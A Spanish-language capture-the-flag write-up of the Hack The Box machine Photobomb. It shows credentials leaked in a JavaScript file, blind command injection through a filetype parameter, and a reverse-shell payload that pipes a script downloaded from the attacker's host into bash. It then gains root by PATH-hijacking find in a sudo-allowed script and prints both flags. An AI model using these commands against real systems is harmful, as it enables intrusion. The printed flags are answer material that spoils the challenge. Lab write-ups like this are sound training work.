This page looks best with JavaScript enabled

Hack The Box - Photobomb

 •  ✍️ sckull

El sitio web de Photobomb permite la descarga y manipulación de imagenes, tras manipular los parametros del sitio descubrimos Command Injection esto nos permitio acceder a la máquina. Finalmente escalamos privilegios manipulando la variable de entorno PATH junto con la ejecución de un script con sudo.

Nombre Photobomb box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.182
Maker

slartibartfast

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.4, 4.1, 4.5, 5.5, 5.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Mon Nov  7 22:31:44 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.182
Nmap scan report for 10.10.11.182 (10.10.11.182)
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov  7 22:31:55 2022 -- 1 IP address (1 host up) scanned in 11.08 seconds

Web Site

Los Headers del sitio indican una redirección al dominio photobomb.htb.

1
2
3
4
5
6
7
8
curl -sI 10.10.11.182
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Nov 2022 03:32:02 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://photobomb.htb/

El sitio presenta información sobre ‘Photobomb’, se muestra la dirección /printer.

image

Dicha dirección necesita credenciales de acceso.

image

Credentials

El sitio web carga el recurso photobomb.js el cual contiene las credenciales para la dirección que encontramos anteriormente.

1
2
3
4
5
6
7
8
// view-source:http://photobomb.htb/photobomb.js
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

User - Wizard

Command Injection

Al ingresar observamos multiples imagenes las cuales pueden ser descargadas segun la dimension seleccionada.

image

Tras manipular los parametros de la solicitud de descarga encontramos dos errores en filetype y dimensions. En el primero se muestra un mensaje, de que, la copia del archivo *.jpg falló, en el segundo unicamente muestra error en dimensiones.

image

En el parametro filetype descubrimos una vulnerabilidad de blind command injection la cual nos permitió realizar un ping hacia nuestra máquina.

image

Shell

Ejecutamos shells y la shell inversa en el sitio web.

1
wget+-qO-+http://10.10.14.207/10.10.14.207:1338+|+bash

Tras ello logramos obtener una shell como wizard.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
┌──(kali㉿kali)-[~/htb/photobomb]
└─$ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from photobomb.htb [10.10.11.182] 52852
can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
wizard@photobomb:~/photobomb$ whoami;pwd
wizard
/home/wizard/photobomb
wizard@photobomb:~/photobomb$

En consecuencia nuestra flag user.txt.

1
2
3
4
5
6
wizard@photobomb:~/photobomb$ cd
wizard@photobomb:~/photobomb$ ls
photobomb  user.txt
wizard@photobomb:~/photobomb$ cat user.txt
1d650599085807f6a1d70a149d9b0e52
wizard@photobomb:~$

Privesc

El usuario wizard puede ejecutar el script cleanup.sh como root, en las opciones observamos setenv lo cual nos permitiría cambiar las variables de entorno.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
wizard@photobomb:~$ sudo -l -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:

Sudoers entry:
    RunAsUsers: root
    Options: setenv, !authenticate
    Commands:
	/opt/cleanup.sh
wizard@photobomb:~$

El script realiza un cambio en los archivos de logs, observamos como ultimo comando find sin especificar la dirección completa, por lo que si podemos modificar la variable $PATH es posible ejecutar una “version” de find propia.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
wizard@photobomb:~$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
wizard@photobomb:~$

Creamos el archivo find en el cual agregamos como comando a ejecutar bash, finalmente le dimos permisos de ejecución.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
wizard@photobomb:/dev/shm$ cd /dev/shm
wizard@photobomb:/dev/shm$ ls -lah
total 0
drwxrwxrwt  3 root root   60 Nov  7 18:19 .
drwxr-xr-x 18 root root 3.9K Nov  7 18:19 ..
drwx------  4 root root   80 Nov  7 18:19 multipath
wizard@photobomb:/dev/shm$ echo "/bin/bash" > find
wizard@photobomb:/dev/shm$ chmod +x find
wizard@photobomb:/dev/shm$ ls -lah
total 4.0K
drwxrwxrwt  3 root   root     80 Nov  8 04:04 .
drwxr-xr-x 18 root   root   3.9K Nov  7 18:19 ..
-rwxr-xr-x  1 wizard wizard   10 Nov  8 04:04 find
drwx------  4 root   root     80 Nov  7 18:19 multipath
wizard@photobomb:/dev/shm$

Ejecutamos el script modificando la variable $PATH, agregando al inicio el directorio actual (.), tras ello se ejecutaría nuestra “version” de find, ejecutando bash, finalmente obtenemos acceso a una shell bash como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
wizard@photobomb:/dev/shm$ sudo PATH=.:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cd /root
root@photobomb:~# ls 
root.txt
root@photobomb:~# cat root.txt
1b593c49dc417b05cbf5e78d8a5e5eca
root@photobomb:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe